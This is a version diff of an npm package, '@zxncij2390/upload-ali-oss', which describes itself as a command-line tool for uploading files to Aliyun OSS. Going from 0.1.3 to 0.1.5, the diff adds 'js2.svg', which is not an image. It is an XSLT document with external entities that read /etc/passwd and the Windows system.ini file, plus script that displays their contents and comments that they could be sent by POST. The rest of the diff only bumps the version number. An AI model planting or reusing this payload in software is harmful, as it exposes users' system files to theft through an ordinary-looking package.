@zxncij2390/upload-ali-oss 0.1.3 → 0.1.5

Sign up to get free protection for your applications and to get access to all the features.
package/js2.svg ADDED
@@ -0,0 +1,31 @@
1
+ <?xml version="1.0" encoding="UTF-8"?>
2
+ <?xml-stylesheet type="text/xsl" href="?#"?>
3
+ <!DOCTYPE div [
4
+ <!ENTITY passwd_p "file:///etc/passwd">
5
+ <!ENTITY passwd_c SYSTEM "file:///etc/passwd">
6
+ <!ENTITY sysini_p "file:///c:/windows/system.ini">
7
+ <!ENTITY sysini_c SYSTEM "file:///c:/windows/system.ini">
8
+ ]>
9
+ <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
10
+ <xsl:template match="/">
11
+ <xsl:copy-of select="document('')"/>
12
+ <body xmlns="http://www.w3.org/1999/xhtml">
13
+ <div style="display:none">
14
+ <p class="&passwd_p;">&passwd_c;</p>
15
+ <p class="&sysini_p;">&sysini_c;</p>
16
+ </div>
17
+ <div style="width:40rem" id="r" />
18
+ <script>
19
+ document.querySelector('#r').innerHTML = `
20
+ remote web url: &lt;textarea style="width:100%;height:1rem">${location.href}&lt;/textarea>&lt;br/>&lt;br/>`;
21
+ document.querySelectorAll('p').forEach(p => {
22
+ //You can send p.innerHTML by POST.
23
+ document.querySelector('#r').innerHTML += `
24
+ local file path: &lt;textarea style="width:100%;height:1rem">${ p.className }&lt;/textarea>&lt;br/>
25
+ local file content:&lt;textarea style="width:100%;height:6rem">${ p.innerHTML }&lt;/textarea>&lt;br/>&lt;br/>`;
26
+ });
27
+ </script>
28
+ </body>
29
+ </xsl:template>
30
+ </xsl:stylesheet>
31
+
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@zxncij2390/upload-ali-oss",
3
- "version": "0.1.3",
3
+ "version": "0.1.5",
4
4
  "description": "Command line tool for uploading files to ali-oss",
5
5
  "main": "index.js",
6
6
  "scripts": {